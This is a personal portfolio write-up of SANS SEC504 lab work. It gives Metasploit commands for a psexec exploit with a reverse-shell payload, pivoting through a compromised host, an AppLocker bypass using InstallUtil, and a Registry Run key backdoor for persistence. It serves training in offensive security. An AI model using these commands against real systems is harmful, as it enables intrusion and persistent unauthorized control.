Jacob MacdonnellSecurity Operations & Network Analysis
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Offensive Security / Exploitation

SEC-504: Advanced Exploitation & Post-Exploitation

Technical write-up
On this page
  1. 1. Metasploit Attack & Analysis
  2. Step 1: Configuration
  3. Step 2: Payload Selection
  4. Step 3: Execution
  5. 2. Pivoting and Lateral Movement
  6. Step 1: Autoroute
  7. Step 2: Port Forwarding
  8. Step 3: The Attack
  9. 3. Application Allowlist Bypass (AppLocker)
  10. Step 1: Reconnaissance
  11. Step 2: The “InstallUtil” Bypass
  12. Step 3: Compilation & Execution
  13. 4. Establishing Persistence
  14. Step 1: Persistence Module
  15. Step 2: Verification

In the SANS SEC504 course, I utilized Metasploit, the industry-standard penetration testing framework, to execute complex attacks. Gaining initial access is just the beginning; the “Post-Exploitation” phase is where an attacker establishes control, moves laterally, and achieves their ultimate objective.

Here is the step-by-step methodology I used.

1. Metasploit Attack & Analysis

Objective: Launch a verified exploit against a vulnerable service.

I targeted a Windows system running a vulnerable SMB service (MS17-010).

Step 1: Configuration

I searched for the module and configured the target parameters.

msfconsole
msf6 > use exploit/windows/smb/psexec
msf6 > set RHOSTS 10.10.0.1
msf6 > set SMBUser <LAB_USERNAME>
msf6 > set SMBPass <LAB_PASSWORD>

Step 2: Payload Selection

I configured a Meterpreter reverse TCP payload. Meterpreter is an advanced, in-memory payload that provides a robust command shell without touching the disk.

msf6 > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.75.1

Step 3: Execution

I launched the exploit.

msf6 > run

Result: Meterpreter session 1 opened. I now had full system control. I used getuid to verify I was running as NT AUTHORITY\SYSTEM.

2. Pivoting and Lateral Movement

Objective: Access a hidden internal network through a compromised host.

I had access to a web server that was “dual-homed” (connected to two networks). The database server I needed to reach was on a private internal subnet (192.168.1.0/24) that my attacking machine could not reach directly.

Step 1: Autoroute

Inside the Meterpreter session on the web server, I added a route to the internal subnet. This told Metasploit to route traffic for that network through the compromised session.

meterpreter > run autoroute -s 192.168.1.0/24

Step 2: Port Forwarding

I used port forwarding to map a local port on my machine to the destination port on the hidden database.

meterpreter > portfwd add -l 3306 -p 3306 -r 192.168.1.50

Step 3: The Attack

I could now run tools against 127.0.0.1:3306 on my local machine, and the traffic was tunneled through the web server to the hidden database.

nmap -sV -p 3306 127.0.0.1

Result: I successfully scanned and compromised the internal database server which was previously unreachable.

3. Application Allowlist Bypass (AppLocker)

Objective: Execute arbitrary code on a system protected by AppLocker.

I encountered a system where AppLocker blocked standard executables like nc.exe or meterpreter.exe.

Step 1: Reconnaissance

I enumerated the AppLocker policy to see what was allowed.

Get-AppLockerPolicy -Local

Finding: The policy allowed the execution of Microsoft-signed binaries in the C:\Windows\Microsoft.NET folder.

Step 2: The “InstallUtil” Bypass

I identified two permitted binaries: csc.exe (C# Compiler) and InstallUtil.exe. I wrote a C# wrapper (Shellcode.cs) that contained my Meterpreter shellcode but was structured as a Windows Installer class.

Step 3: Compilation & Execution

I compiled the C# code on the target machine using the trusted compiler:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:shellcode.exe Shellcode.cs

I then executed the payload using InstallUtil, which proxies the execution, bypassing the allowlist.

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U shellcode.exe

Result: I received a reverse shell connection, bypassing the security controls.

4. Establishing Persistence

Objective: Maintain access even after the user reboots.

Attacking systems is noisy. Once I had a shell, I needed to ensure I could return later without re-exploiting the vulnerability.

Step 1: Persistence Module

I used a Metasploit post-exploitation module to install a backdoor.

msf6 > use post/windows/manage/persistence_exe
msf6 > set SESSION 1
msf6 > set REXEPATH /tmp/evil.exe
msf6 > run

Step 2: Verification

This created a Registry Run Key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run) that automatically executes my payload (evil.exe) every time the user logs in. Even if the system reboots or the vulnerability is patched, my access remains secure.